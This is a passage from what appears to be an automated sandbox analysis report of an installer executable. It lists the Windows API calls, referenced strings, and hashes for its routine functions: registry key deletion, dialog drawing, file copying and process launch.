Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

, xrefs: 004048DA
@rD, xrefs: 00404934

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

%02x%c, xrefs: 00406270
..., xrefs: 00406293

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Skipping section: "%s", xrefs: 004050B5
Section: "%s", xrefs: 00405079

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
